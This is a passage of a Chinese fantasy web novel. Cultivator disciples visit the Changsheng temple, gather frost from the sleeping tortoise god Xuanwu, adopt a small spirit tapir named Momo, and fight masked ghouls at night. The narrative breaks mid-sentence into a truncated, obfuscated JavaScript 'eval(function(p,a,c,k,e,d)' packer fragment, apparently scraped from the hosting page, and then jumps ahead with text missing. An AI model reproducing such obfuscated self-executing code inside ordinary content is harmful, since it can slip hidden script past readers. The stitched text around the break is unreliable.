步云邪道:“行走在外,凡事还是多小心一些的好。” 伏顺知道他说的不错,道:“我知道了,以后不会乱说了。” 晚上驿丞过来看他们,几个人都聚在段星河的屋里。伏顺和赵大海坐在窄榻上小声闲聊,李玉真在书桌边画符,段星河一手拿着书,坐在床头上看神州风物志,半晌翻一页,果然还是有图的书看得进去。步云邪刚给伏顺换完了药,正在收拾药箱。 李俊道:“几位都在呢,听说有人受伤了,我送点药来。” 段星河道:“多谢,请坐吧。” 李俊拿了几瓶金疮药还有解毒散,放在桌子上。他坐在太师椅上,道:“听说你们遇见了妖物,是真的么?” 无事不登三宝殿,驿丞果然是来八卦的。伏顺不知道能不能说,步云邪淡淡道:“遇见了个小妖物,不知道是什么山精魑魅变的。我师弟被咬了一口,人一多它就跑了。” 李俊看伏顺的手包得厚厚的,应该伤得不轻。李俊道:“长生丹的事,几位开始准备了么?” 他是驿丞,这话必然是要向朝廷汇报的。步云邪道:“长生丹的方子玄妙,上头有些药材十分罕见,我查了不少书,也不确定到底是什么东西。” 李俊沉吟道:“这长生丹的方子是长生观的道人进献的,要不然你们去问一问,他们应该会知道。” 步云邪道:“长生观,就是西边的那个小道观么?” 李俊道:“对,就是玄武山下的那个道观。” 李玉真倒是听过长生观的名头,感觉就是一群蛰居不出的道士而已,道:“他们有这么大本事?” 李俊道:“各位有所不知,几百年前邪法横行,大幽皇帝整顿各大宗门,取缔了不少门派。长生观的掌教献上了长生经,主动向陛下投诚,皇帝便让他们镇守玄武山。他们至今还受朝廷管辖,几位既然是为陛下办事,他们一定会据实相告的。” 步云邪的心思微微一动,道:“去么?” 段星河觉得去看看也好,道:“行,那就明天去一趟吧。” 11.长生观 二 长生观坐落在玄武山下,已经到了望海郡的西边界。众人收拾好了行囊,打算拜访过长生观之后,就继续往西走。 一行人走了两天,这天上午到了地方。一座白墙黑瓦的道观掩映在松柏之中,门前的青石小路上长着青苔,几只仙鹤拍着翅膀从远处飞来,在山门前引颈啼鸣,一派清净祥和的气氛。一个小道童穿着灰色的道袍,搂着个大笤帚在门前哗哗地扫地。 段星河翻身下马,出示了腰牌道:“小仙童,我们是钦天监的人,有事求见你们的掌教,可否通报一声?” 小道童见这些人有的穿着官服,有的穿着道袍,好像是修行之人。他道:“你们等一下吧。” 他搁下了笤帚,快步进了道观。等了一会儿,大门洞开,一名须发花白的老道士快步走了出来,他穿着一身檀红色的道袍,身后跟着几名弟子。他见了众人,连忙行礼道:“原来是朝廷来的大人,在下是长生观的掌教方白鹭,各位快请进!” 他们来之前,还听说这里的人大门不出二门不迈,一门心思求长生,脾气古怪得很。今日一见,却觉得这掌教还挺热情的,大约是因为他们是朝廷派来的人,对他们格外客气。 有人帮他们存了车和马匹,一行人走进道观,见院子正中有个硕大的黄铜香炉,香火缭绕不绝,正面是一座庄严的大殿,里头供奉着三清。绕过前院,又有几个偏殿,里头不知道供奉着什么神仙。众人来到了待客的静室,小童送来了香茶和素点心。 众人落了座,方白鹭笑呵呵地道:“今早我占了一课,说是贵人将至,原来是钦天监的大人们来了。不知各位有何贵干啊?” 步云邪开口道:“我等奉陛下命令炼制御龙长生丹,方子上有些药材十分稀有,听说这方子原本是贵派进献的,不知道长可否为我们解惑?” 方白鹭有些意外,道:“那你们可得了份大差事,炼长生丹的药材确实难得,一般人纵使得到药方也难以炼成。莫说别的,就连真正的千年人参都不好找,没有仙缘的人肯定是办不到的。” 伏顺自豪道:“我们运气好得很,已经找到千年人参了。” 此言一出,众人的眼神都投了过来。段星河轻咳了一声,让他别在老前辈面前招摇无礼。方白鹭十分诧异,欠身道:“你们找到千年人参了,那可是难得的至宝啊!” 他身边的弟子也道:“我们炼了多年的药,还没见过这样的宝贝,几位能否给我等开开眼界?” 伏顺想起之前二师兄就叮嘱自己别乱吹嘘,一不小心又犯了错。他搔了搔头道:“也没有千年……就是半截,呃,几十年的小人参。” 赵大海道:“他一向爱吹牛皮,老道长别信他的。” 方白鹭凝神感受,觉察到他们身上有股淡淡的人参灵气,看来那药材确实不是凡品。他微微一笑,道:“不便看就算了。财不可露白,几位大人出门在外,还是谨慎一些的好。” 许多修真者的心性歹毒,为了一点天材地宝杀人越货无所不为,像他们这种初出茅庐的小子最容易被坑。幸亏面前的人是德高望重的老前辈,知道了他们带着至宝,也只是提醒他们注意安全。方白鹭喝了口茶,道:“其他的药材呢,有眉目了么?” 步云邪来这里正是为了此事,道:“我等才疏学浅,有些药材还不知道是什么。” 方白鹭对那方子了若指掌,道:“你说的是跟四神君有关的东西吧。青龙竭代表了东方木与土余,是孟章神君的血凝结成的玉石。玄武霜代表了北方水与木余,是执明神君背上的苔藓以及凝结的霜华。白虎须代表了西方金气,是监兵神君的胡须。朱雀烬代表了南方火与土余,是陵光神君的羽毛烧成的灰。” 众人互相看了一眼,没想到这老掌教真的知道不少。步云邪道:“四神君在什么地方?” 方白鹭道:“虺神庇佑苍生,乃是世上唯一真神,四神君由它创世之后的灵力形成。虺神沉睡之后,四神君在神州各处镇守灵脉。在下不问世事多年,也不知道其他几位神君去了什么地方。” 众人听到他说虺神是唯一真神,心中有些疑惑。段星河想起了步云邪给他看过的那张图画,一条大蛇仰天张开大口,吐出的气息化作了日月星辰。这里从上到下都说虺神独自开天辟地,创造了万物。这老道士既然是大幽的子民,信奉虺神也是正常的。 在人家的地头上,还是别争这些为妙。众人沉默着,心里却不以为然。 方白鹭又继续道:“几位运气不错。虽然其他神君下落不明,唯独一位执明神君就在此地,我等守在这里,就是侍奉它老人家的。” 四圣兽又被称为四神君,在道教里各有名讳,有时候会化作人形,有时候以本相示人。李玉真一诧,忍不住道:“啊,那前面的那个山头就是……” 方白鹭缓缓点头,道:“就是执明神君的本相。” 众人都十分惊讶,原本以为叫玄武山是因为山的形态像个龟壳,没想到居然是真家伙。 方白鹭抚着胡须道:“我等一入长生观,便发誓要终生侍奉执明神君,非遇大事不再离开这片山林。执明神君性情平和慈爱,各位小友若是想去参拜,白天去即可。入夜之前一定要赶回来,免得打扰了它老人家休息。” 众人还没缓过劲儿来,迟疑着点了点头。步云邪道:“那方子上的忘川河水如何得到?” 方白鹭沉吟了良久,道:“这个老朽也不清楚,忘川河水只能去冥界取来。但凡人之躯一旦去了地府,便无生还之理。既然身死,也不必修仙了……所以这药,几乎是做不出来的。” 众人的神色都有些沉重,方白鹭又微微一笑,宽慰道:“不过凡事总有例外,几位小友既然为陛下办事,自然有上天庇佑。就算炼不成顶级的仙丹,炼一些能延年益寿的丹药,想来陛下也会高兴的。” 众人知道皇帝没有那么好说话,但他们本来也没太把炼药当回事。只是走到哪里便算哪里,找到小师妹才是最要紧的。 段星河已经下了狠心,凡是有路的地方都去走一走,非得找到人不可。 太阳还没升到中天,玄武山就在前方不远的地方。段星河起身道:“多谢方掌教,我们这就去玄武山走一趟。” 方白鹭和气道:“吃了斋饭再去吧。” 段星河道:“不了,早去早回。” 年轻人就是这么风风火火的。方白鹭微微一笑,道:“那贫道为诸位小友准备住处,晚上等各位回来休息。” 一群人走出静室,李玉真揣着袖子道:“这位老道长还挺和善的,对外人也没有分别心,还教给咱们这么多东西,这世上还是好人多啊。” 段星河没说什么,能得到有用的消息就行了,人家好不好跟自己也没什么相干。一行人经过前院,见大殿中跪着一名穿灰袍的道士,一直低着头向三清祷告。他的神情悲切,众人只听到他喃喃道:“弟子有罪……弟子犯下了滔天大错,罪该万死,求祖师原谅……” 啪、噼啪、啪! 他连磕了几个头,又抬手重重地打了自己几个巴掌,打的嘴角都流了血。其他道人仿佛见惯了那样的情形,来来往往的也不以为意。段星河等人却十分惊讶,不知道他为何要这样折磨自己。 伏顺忍不住道:“他怎么了?” 旁边的一名道士道:“师弟方才不小心踩死了一只蜈蚣,心中愧疚,因此向三清祖师忏悔。” 另一名道士也道:“观里的规矩一向如此,我们每过一段时间都要忏悔的。” 赵大海搔了搔头道:“不至于吧,我翻地还经常刨断蚯蚓呢,我也从来没忏悔过啊。” 伏顺道:“那不一样,蚯蚓挖断了还能长成两条,你不算杀生。” 众人顿时感到了一阵不舒服,李玉真道:“噫,别说这么恶心的事行么。” 伏顺便嘿嘿地笑了起来,道:“人家踩死条蜈蚣都要忏悔,你还嫌恶心,比人家差得多了吧。” 段星河觉得有点过了,但他们喜欢这样,自己这些外人也没什么好置喙的。他沉默着走在前头,带着众人出了大门,沿着路向前头的玄武山走去。 这片地域十分广大,玄武山虽然看起来不远,众人走了半天才到了山下。玄武掌管北方水气,代表冬季。一靠近这里,便能感到空气中的温度都降下来了,比别处更寒冷一些。周围的树林茂密,因为有充足的水滋润,都生得枝繁叶茂的。众人沿着砂石小路上了山,山上生着许多草木,一条粗壮的藤蔓像巨龙一般从山中横亘过去。那条藤蔓上又生着许多细小的藤子,还开着些耐寒的野花,风一吹花与叶子微微摆动,十分瑰丽奇特。 段星河朝着藤蔓的方向抱拳行礼,道:“执明神君莫怪,我等来取一点苔藓,取完就走,多谢神君厚赐。” 伏顺不管三七二十一,就想赶紧把需要的东西拿到手,早点回去吃饭。他道:“这边这么冷冰冰的,到处都是霜,不是挺好找的么?” 他找到一处背阴的地方,一块大石头微微隆起来,上面生满了厚厚的苔藓。他拿药锄撬了一下,连霜雪带着碧绿的苔藓一起铲了下来,道:“就这个吧,放哪儿好?” 那寒冰是玄武散发出来的至阴之气凝结而成的,撬下来非但不会融化,反而散发着一阵阵白色的寒气,让人有种心神清静的感觉。 步云邪拿出了一个大水囊,打开盖子,把霜雪敲成小块灌了进去。牛皮的水囊大得很,还能装不少。步云邪道:“来都来了,多拿点吧。” 他往前走了几步,又从石头上挖了几块带着苔藓的冰霜。赵大海闲着没事可做,叉着腰四下张望,片刻道:“这不是玄武山么,那老乌龟在哪里?” 伏顺无奈道:“你这傻大个,刚才人家掌教说话,你怎么听的啊?” 赵大海道:“我认真听了啊,那什么霜在玄武山上,玄武在哪里?” 伏顺踩了踩地上的光滑硕大的石头,道:“这座山就是玄武本尊啊,咱们都站在它的壳上呢。” 赵大海有点傻眼,下意识把一只脚抬了起来,生怕得罪了它。 李玉真道:“你们小点声,别把它吵醒了。” 随着他们说话,整座山轻轻地动了一下,就像极轻微的地震。众人都吓了一跳,顿时噤若寒蝉。玄武天生不爱动弹,在这里沉睡了有三百多年了,背上积满了泥土、长着植物,都已经习惯了。这几个人类爬上山来撬它背上的苔藓,对它来说也不过像几只小猴给自己挠痒罢了,它根本懒得理会。 玄武是龟蛇同体,灵龟虽然常年打瞌睡,身上的灵蛇却偶尔会游动。山上的这条粗壮的藤蔓便是灵蛇化成的,段星河刚才就看出来了,难怪他一来就对着那条粗壮的藤蔓行礼。 灵蛇身上除了藤蔓之外,还有些石头,它一动弹,石头就崩落下来。段星河道:“离那边远一点,小心被砸到了。” 其他人答应了,各自分开干活。伏顺拿着药锄蹲在地上撬着冰块,一边道:“来啦,一位搓澡——给您老搓点死皮下来,您也轻快。” 步云邪装了一大袋玄武霜,没想到没费什么力气就拿到了这么珍贵的东西,庆幸运气不错。这时候忽然见前面一块石头一动一动的,下头好像压着什么活物, 他心中纳罕,悄悄走过去观察了片刻。里头发出了叽叽咕咕的叫声,十分急切,又好像很害怕。他把石头搬开了,就见一个黑色的小东西像个萝卜一样,头朝下被埋在坑里,四只脚一个劲儿地蹬着,刚才那块石头就是被它踢得咚咚直响。 段星河走过来,道:“怎么了?” 步云邪还没说话,那只小妖怪用力蹬了几下,终于摆脱了泥坑,自己飞了出来。 段星河反应极快,锵地一声拔出了佩剑,戒备地盯着它。其他人也停下了手中的活,朝这边看了过来。 伏顺惊讶道:“妈呀,这是什么东西!” 那小怪兽黑乎乎的,侧腹有几道白色的花纹,体型像头小猪,长着个半长不短的鼻子,背上有一对翅膀。大家都不知道这是个啥,纷纷向后退去。赵大海举起了药锄吓唬它,道:“喂,你不要过来啊!” 小怪兽摇摇晃晃地朝他们飞过来,忽然身子一歪倒在地上,肚子里发出了咕咕的声音,却是饿的没力气了。伏顺试探着朝它扔了一块石头,它张嘴就吃了。众人十分诧异,也不知道它吃下去怎么拉出来。 伏顺又朝它扔了个铁蒺藜,它不嫌硌得慌,也吃了。伏顺实在没什么东西可扔了,心中害怕,摸出一包老鼠药扔了过去,试图毒死这个来历不明的小怪物。 步云邪下意识往前走了半步,道:“喂,那不能吃——” 小怪兽已经把药一口吞了下去。众人觉得它一定完蛋了,都觉得有点可惜。 它吃了这些怪东西,觉得很不舒服,甩了甩头,把石头和暗器都吐了出来,片刻又呸呸几声,把一大口融化了的老鼠药也吐了出来。 那老鼠药是用砒霜制成的,它吃了都没事,实在有点不同寻常。伏顺挠了挠头,道:“它怎么什么都吃?” 步云邪见它蔫头耷脑的有点可怜,缓步走过去,蹲下来摸了摸它。小怪兽黑豆似的眼睛湿漉漉的,温顺地蹭了蹭步云邪的手心。 李玉真揣着袖子看它,道:“还挺可爱的,这玩意不咬人吧?” 段星河道:“难说。” 步云邪从行囊里拿了一块牛肉干喂给它。小怪兽一口吞下了肚,觉得比石头好吃多了,发出了咕噜咕噜的声音。步云邪露出了笑容,又拿了几块牛肉干喂给它。小怪兽吃饱了,心情好了起来,飞起来扑棱棱地围着他直打转。 步云邪站起身来,它拍着翅膀亦步亦趋地跟着他。赵大海一向最喜欢动物,有点猛男心动了,道:“二师兄,它好像挺喜欢你的。” 步云邪绕着一棵大榕树转了个圈,小怪兽的翅膀短,在后面追不上他。它悬停了片刻,向相反的方向飞过去,迎面跟转过来的步云邪撞了个正着。 步云邪哈哈地笑了,道:“还知道堵我,挺聪明的。” 他抬起手,小怪兽便停在了他的手臂上,相当通人性。段星河觉得他们似乎碰上什么好东西了,从行囊里翻出了神州风物志,盘着腿坐在一旁哗哗地翻了起来,道:“有这种东西么?” 其他几个人凑过去,跟他一起翻找。看了片刻,终于在瑞兽一部中发现了一个跟它差不多的家伙。 泛黄的纸页上画着一个萝卜状的小怪物,背上长着一双翅膀,四肢短胖,鼻子比大象短一些,又比猪长一点。平时看起来还挺乖巧,张开嘴时却十分巨大。 步云邪道:“找到了,是什么?” 插图边上写着,灵貘:象鼻、犀目、牛尾、虎足,以噩梦为食,也吃其他东西,胃口极大,但不吃活物,能辟百毒、擅搬运。居于巴蜀之中,常在夜深之时仰头吐纳,吸收月华。修炼有成能变化为四足瑞兽,腾云驾雾,供上神驱策。 段星河摸了摸下巴,道:“所以这小东西没什么用,还挺能吃。” 步云邪已经有点喜欢它了,道:“但它不咬人啊。” 段星河笑了,道:“不咬人的东西多了去了,这算什么优点。” 步云邪想了想,道:“它吃了毒药也没死,说不定能帮咱们试药。” 段星河的心思微微一动,觉得这倒是有点用。他道:“那就先养着吧。” 方才这家伙应该是从这里经过,想找点吃的,不小心被从上方掉下来的石头砸住了。不过也是因祸得福,就这么找到了一张长期的饭票。李玉真折了一根嫩竹子逗它,小怪兽脑袋跟着动了几下,张嘴把翠绿的竹子吃了。 既然决定养它了,段星河道:“给它起个名字吧,它身上的花纹这么像西瓜,叫瓜皮怎么样?” 李玉真哈哈地笑了,道:“瓜皮在你们巴蜀不是骂人的话吗?” 步云邪也道:“能不能起个正常点的?” “赖名好养活嘛,”段星河道,“你行那你来。” 步云邪寻思了片刻,道:“它既然是貘,又黑不溜秋的,就叫墨墨好了。” 他看向它,道:“你喜欢这个名字吗,墨墨?” 它蹭了蹭步云邪,好像觉得不错。段星河觉得叫什么都无所谓,道:“那就这么决定了。” 众人没想到出来找玄武霜还有意外收获。有这个小东西跟着,无聊的时候也能逗个闷子,还不用怕做噩梦了。 伏顺刚才给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来让它存东西这件事还得多加练习,它吃掉的东西实在太多了,根本找不到。 吐出来的东西里,有个铜制的降魔杵发着淡淡的灵光。李玉真捡了起来,感觉戴在身上应该能辟邪。他在袖子上擦了擦,兴奋道:“再找找,这家伙什么都吃,应该囤了不少好东西!” 众人花了一个时辰把墨墨吐出来的破烂扒了一遍,找到了一件可以贴身穿的软甲。衣甲在它肚子里捂得久了有点臭味,但泛着乌金光芒,应该不是凡品。段星河拔出剑来砍了几下,软甲没有被砍破,是一件刀枪不入的上好护具。伏顺从中找到了几块碎银子,欢天喜地的揣进了怀里。他又找到了一块泛黄的牛骨牌,上面刻着模糊的纹样,像是一只展翅翱翔的鹰。 段星河道:“这是什么?” 李玉真端详了片刻,道:“这是燕丘的纹样,它可能吃了个牧民。” 步云邪护崽地说:“不会吧,它不是不吃活物么?” 众人都觉得有点奇怪,伏顺回头看着它道:“你把燕丘的人吃了?” 墨墨歪着头看他,黑豆似的眼睛眨了眨。伏顺比划了一下,说:“牧民,活的,你的吃了?” 墨墨摇了摇头,霍然倒在地上,闭上了眼装死。然后它飞起来,张开大嘴吃下了牛骨牌,又吐了出来。 众人明白了,它在路边发现了一个死去的牧民,吃掉了他的遗物。它一向不吃活物,对尸体也不感兴趣,不过就算这样,那牧民也够倒霉的。 天渐渐黑了,段星河想起长生观的人说过,天黑前要离开玄武山,免得打扰了执明神君休息。他道:“时候不早了,咱们回去吧。” 众人收拾了东西,向山下走去。墨墨跟着步云邪飞了一阵子,停在了他的肩膀上,爪子轻轻地抓着他的衣裳,使的力度刚刚好。段星河觉得它好像跟人相处过,一点都不怕人。 步云邪道:“怎么了?” 段星河把手指伸过来,逗了逗它。墨墨动了动长鼻子,记住了他的气味。 修仙之人都会寻找跟自己有缘的灵兽一起修行,来日修为增长,灵兽也能帮助自己御敌。书上说灵貘修行到一定程度,就能成为腾云驾雾的坐骑。段星河摸了摸它脑袋,道:“好好修行,早点长大。” 伏顺道:“这家伙真能长大么?” “能吧,”李玉真道,“听说巴蜀中有前辈的坐骑就是灵貘,挺威风的。” 一行人下了山,天色越发黑了,距离长生观还有一段距离。伏顺打了个呵欠,道:“大师兄,我走不动了。” 李玉真的头也一点一点的,仿佛走着路就能睡着。今天的风不大,露宿也行。段星河道:“要不然就在附近将就一晚吧,生个火堆对付一下。” 众人便找了些树枝,搭在一起点了个火堆,吃着干粮喝了点水。山林静谧,远处传来几声噪鹃的叫声,呜呜咽咽的像鬼哭似的。好在火光熊熊地燃烧着,驱散了寒冷的气息。赵大海从背囊里拿出几张毯子,给大家分了。几个人裹着毯子挤在一起,互相依偎着取暖。 晚上没人值夜不行。几个人抽签决定了,段星河守上半夜,赵大海守下半夜。 步云邪跟李玉真靠在一起,墨墨窝在步云邪怀里,把长鼻子伸出来,随着呼吸一动一动的。伏顺和赵大海缩在一张毯子里,段星河守着火堆,过了一阵子也困倦起来,低着头打起了瞌睡。 营地里静悄悄的,睡到半夜,伏顺动了动,小声道:“诶,我要尿尿。” 赵大海迷迷糊糊道:“跟我说干什么,去就行了。” 伏顺看了一眼黑乎乎的树林,道:“我害怕,你跟我一块去。” 赵大海没办法,只得站了起来。两人钻进树林,往前走了一阵子,伏顺解开了裤子。他放完了水,忽然见前方不远处,有个白色的影子一晃而过。 他以为自己看错了,揉了揉眼,就见那道白色的影子又是一晃,这回却离自己更近了。伏顺顿时起了一身鸡皮疙瘩,疑心自己见了鬼。树林里风声呼啸,让人的心里直发毛。 他连忙提上裤子,道:“大傻快跑,有鬼!” 赵大海还没系上腰带,道:“有什么鬼,你别一惊一乍的了。” 他话音未落,就见一道白光闪过,一只银色的长钩从他身旁划过,夺地一声钉在面前的大树上。两人猛地回过头去,就见一个白色的身影站在他们身后。那人脸上戴着白色的面具,眼睛处有两个孔洞,一道黑色的弧线从左耳根咧到右耳根,就像一张大嘴,无声地嘲笑着面前的猎物。 “妈呀……快跑!” 两人也不知道面前的是人还是鬼,登时寒毛直竖。赵大海拉了伏顺一把,两人跌跌撞撞地向前跑去。那白袍人手里提着冰冷的银钩,追了上来。 沙沙沙沙沙沙,踩着枯草的声音从身后传来。他们跑得快,那白袍人跑的也快,总是离他们有一丈远的距离。 伏顺连滚带爬地跑回火堆边,连声喊道:“快醒醒,有鬼来了!” 其他人从睡梦中惊醒,还以为他在说梦话。段星河揉着眼道:“怎么了?” 赵大海道:“有、有个穿白衣裳的鬼跟着我们,手里提着个银钩子,跑的贼快……一眨眼就到跟前了……真、真的!” 他一着急就结巴,连说带比划的,还怕别人不信。其他人看着他身后,都露出了恐惧的神情。 不止一个白袍人,远处的树林里,几十条白色的影子飘飘荡荡的,都朝这边聚了过来。 “咕,叽啾!” 墨墨飞了起来,用力扑着短翅膀,想要驱赶它们。李玉真一把将它捞了回来,道:“你才多大点,别过去!” 步云邪皱眉道:“这是什么鬼东西。” 那些白色的身影仿佛不是活物,上一刹还在极远的地方,眨眼间离他们就只有几丈远了。那些白影注视着他们,显然不怀好意。浓浓的阴邪之气扑面而来,众人感到了强烈的压迫感,心脏剧烈地跳动起来。 段星河拔出了佩剑,皱眉道:“你们是什么人,报上名来!” 那些白影没回答他,反而离他们越来越近了。篝火熊熊燃烧着,照亮了一张张白色的面具,无数狰狞的笑脸包围着他们,仿佛迫不及待要把这些人撕成碎片! 12.长生观 三 白袍人沉默着,从四面八方向他们逼近过来。段星河等人聚在火堆周围,绷起了浑身的肌肉,十分紧张。 “你们想干什么?” 步云邪皱眉道:“不说话,都是哑巴么?” 对方仍然默不作声,白色的衣袍飘飘荡荡的,上头沾着星星点点的血迹。有人手里提着尺余长的钩子,有人手里提着长刀,贪婪的目光从面具中透出来,仿佛要把他们吞吃干净。 段星河拔出了剑,准备跟他们动手了。李玉真低声道:“等等,这好像是伥鬼,极其阴邪狠毒。以咱们现在的本事,硬拼是打不过的。” 赵大海道:“什么是伥鬼?” 李玉真道:“为虎作伥,听过没有?有些被恶人杀死的生灵,会跟随着杀死它们的人,为坏人做事,以猎物临死前的痛苦和怨恨为食。” 他是这个世界的人,对这些东西更加了解。其他人看向了他,低声道:“那怎么办?” “这些家伙见不得太阳,”李玉真道,“等天亮它们自己会散去的,再熬一个时辰应该就没事了。” 他们已经被包围住了,连一炷香的功夫都未必能熬过去。伏顺道:“开玩笑呢,你不让它们过来它们就不过来了?” 李玉真搔了搔头,也有点焦急。步云邪心念一闪,道:“都聚过来!” 其他人围在他身边,步云邪双手结印,一点金色的灵光在他指尖闪烁。他念诵道:“三界内外,唯道独尊。金光速现,覆护吾身——” 金色的光芒骤然升到众人头顶,嗡地一声张开,形成了一个金色的穹顶,像帐篷一样把他们护在其中。 强烈的灵力在他周身涌动着,步云邪闭目凝神,维持着结界。只要不出去,那些伥鬼是进不来的。 段星河等人盯着周围的伥鬼,充满了戒备。那些白袍人来到结界附近,有的碰到了金色的灵光,身体顿时发出嘶的一声,被灵光灼伤了。伏顺的眼睛亮了起来,道:“有效果!” 赵大海也十分兴奋,道:“太好了,二师兄果然厉害!” 段星河道:“都待在这里面别出去。” 那帮伥鬼进不来,却又不肯离去。渐渐地,白袍人越聚越多,金光外围到处都是白色的身影,大约有二三十个,颇有跟他们对峙的意思。夜色依然浓重,段星河等人虽然身处金光之中,被那么多人虎视眈眈地盯着,充满了压迫感。 伏顺不满道:“它们怎么还不走,围这儿干什么,看猴呢?” 赵大海道:“别理他们,天亮就好了。” 墨墨也有点害怕,发出了咕咕的声音。李玉真把它抱在怀里,道:“没事,只要不出去,它们不敢进来的。” 众人站的累了,有的干脆坐下了,有的蹲着,撑一撑就过去了。没想到等了片刻,又有十来个白袍人赶了过来。这回这几个伥鬼好像跟之前的那些乌合之众不同,带头的那人一走过来,所有的伥鬼就都像流水一般向左右分开,对他十分恭敬。 带头的伥鬼看着金色穹光中的众人,白色的面具映着青惨的月光,显得诡异而又可怖。它微微歪过头,态度里充满了玩味,就像看着一群被困在陷阱里的猎物,考虑着该从何处下手。 那大伥抬起手,衣袖中生出了一道黑色的灵光,如墨痕一般丝丝缕缕渗透进金色的穹顶。步云邪额头上渗出了冷汗,受到了邪气的侵扰,难以维持下去了。 其他人十分焦急,眼看着黑色的邪气一点点吞噬了金色的灵光,却又帮不上忙。轰地一声,金色的保护罩如同琉璃一般碎裂开来。 “唔!” 步云邪的心神受到了冲击,倒退一步捂住了心口。大家都有些慌了,下意识看段星河,希望大师兄能想个法子。离天亮还有一段时间,篝火不住跳动。段星河的目光瞥在地上,注意到那些白袍人中有些有影子,有些没有。 也就是说,这些人中有些是李玉真所说的伥鬼,有些则是披上白袍伪装成伥鬼的活人。站在最前面的白袍人的影子清晰可见,这个带头的大伥便是个修为高深的活人。 其他伥鬼的面具上只有一张大嘴,带头的大伥额心还有一道红色的竖线。那人一挥手,其他白袍人便朝这边逼近过来。 伥鬼们一言不发,空气中弥漫着让人战栗的气息。众人感觉大事不妙,背靠背聚在一起。伏顺低声道:“哥,怎么办啊。” 段星河深吸了一口气,道:“还能怎么办,打呗。” 一个白袍伥鬼抬起枯瘦的双手,扭曲着身子,跌跌撞撞地朝他们抓了过来。李玉真手中凝结着浅蓝色的灵光,重重一掌拍出去。那人被灵力灼伤,发出了一声嚎叫,白袍下的身躯化成了一道黑色的流沙,散落在地上。 “嗷嗷嗷嗷嗷嗷——” 周围的白袍人纷纷扑了上来,放声嚎叫着,伸着黑色的指甲来抓他们。赵大海从行囊里找出一口大铁锅,像盾牌一样举在身前,大吼一声朝它们撞了过去。他个头大,浑身都是肌肉,使起蛮力来这些家伙根本不是他的对手。 伥鬼们冷不防被他撞得东倒西歪,摔了一地。段星河和伏顺提着剑,趁此机会横劈竖砍。有的白袍人被砍到了要害,便倒在地上化作一捧飞灰。 步云邪方才维持法阵有些疲惫,李玉真护在他身前,用灵力画出一道符咒,向前一拍,喝道:“妖魔邪祟,退——” 灵光像流水一样,旋转着绞住了几个白袍人。水流像漩涡一样越转越急,哗地一声把它们绞成了流沙。 步云邪正在凝神调息,忽然感觉身后一阵阴风袭来。墨墨扑着翅膀俯冲过去,一个头槌把偷袭他的伥鬼撞得倒在了地上。那伥鬼的指甲又尖又长,还带着尸毒,要是被抓中了可不得了。步云邪松了口气,道:“好孩子,多谢你了。” 段星河提着剑,砍倒了几个伥鬼。有的被砍中了便即消失,有的却会流血。看来对面确实不光有鬼,还有不少修邪道的人,这些伥鬼都是受他们驱策的。 段星河厉声道:“你们到底谁什么人,为什么要跟我们为难?” 被使役的伥鬼摇摇晃晃的,理解不了他的话。有人发出了低低的笑声,一人道:“咱们出来夜巡,遇上了什么就杀什么。黑夜是属于夜尊和他的子民的,你们都是他老人家赐下的猎物,还挣扎什么。” 段星河道:“什么夜尊?” 眉心一抹红的那人道:“别跟他们废话了,赶紧拿下,把他们的修为吸干净!” 那声音有些苍老,显然是有些年纪了。他提起了血淋淋的长剑,眼里透着冰冷的寒意,重重地挥了过来。段星河提剑招架,两人的兵刃撞在一起,发出了铿锵的声音。他还有力气,赵大海和伏顺打了这一阵子,已经筋疲力尽了。伏顺身上被砍了一刀,赵大海的脸上和身上也有好几道爪子的抓痕,那口大锅掉在了身边。 步云邪和李玉真的法力也耗尽了,感觉大事不妙。墨墨发出了咕咕的声音,李玉真抱紧了它,道:“别怕,大家都在这儿,要死也死在一起。” 段星河跟那人斗了数十合,一直被压着打,心中十分恼火。他才初出茅庐,对方却不知道修了多少年了,差距实在太大。那些白袍人也不急着杀他们,只在一旁冷冷地瞧着。猎物临死前的绝望越强烈,滋养伥鬼的力量就越大。 段星河身上被斩了好几剑,淌出来的血把衣裳都浸湿了,伤口疼得厉害。他咬紧了牙关,握着剑的手却微微发抖,已经被逼到绝境了。 “嘻嘻嘻嘻……哈哈哈哈,他们不行啦!” 对面的人嘲讽地笑了起来,一张张惨白的面具在火光中摇晃着。一人怪声怪气地道:“一帮小兔崽子,就这点本事,还想顽抗。” 一股怒火在段星河的胸膛里灼烧,他心里只有一个念头——不能死,我要保护兄弟们,还要把小雨找回来。我要把大家好好地带回去,师娘、步家寨子的人还在等着我们。 他握紧了剑,眼前仿佛浮现起了那条大蛇的身影,喃喃道:“不管你要什么代价……给我力量,我需要力量——” 额红人提起了剑,朝他的脖颈斩了过来。与此同时,灼热的疼痛从心口冲了出来,瞬间蔓延了全身。段星河体内骤然爆发出一股强大的力量,如同一条怒龙,咆哮着向前奔腾而去。额红人手中的剑被那股力量震开了,白色的衣袍不住翻飞,后退了好几步才站稳,诧异地看着他。 “你这小鬼……都要死了,哪来的力量!” 段星河抓起剑,眼神狠厉,接二连三地朝那人砍过去,兵刃在黑夜中撞击出耀眼的火花。此时的情势调转,段星河的力气陡然增长了数倍,步步紧逼,每一剑仿佛都有千钧的力气,将那人打的节节败退。 段星河一剑重重地砍下来,速度既快又狠。那额红人躲闪不及,左臂被他斩了一道口子,鲜血顺着他的手臂淌了下来。 其他人顿时哗然,没想到这后生居然有这么大的本事,居然能伤得了他们的头领。一人吼道:“一起上!” 一群白袍人提着刀剑一拥而上,步云邪等人休息了这一阵子,恢复了些体力,跟那群伥鬼打了起来。树林里黑黢黢的,不时有人惨呼着倒下去。墨墨用力地扑着翅膀,挡着那些人的眼睛,用爪子撕扯他们头上的面具。 步云邪趁着灵兽给他们捣乱,手中生出一道金光,打倒了几个伥鬼。伏顺抄起一块石头,随手一拍前头一个白袍人的肩膀,道:“喂,这是你掉的么?” 那人回过头,伏顺举起石头迎面一砸,哐地一下子把那伥鬼拍成了一把飞灰。他心中得意,论起投机取巧他可是祖宗,结果没走两步就在人群中绊了一跤。一人提着剑气势汹汹地砍过来,伏顺吓得连忙捂住了脑袋,喊道:“救命!” 赵大海扛着大锅冲过来,喊道:“我来了!” 铛的一声,那人一剑砍在了锅上。厚厚的生铁锅被砍了个缺口,依然十分结实。赵大海举起锅往前奋力一冲,撞倒了好几个伥鬼。 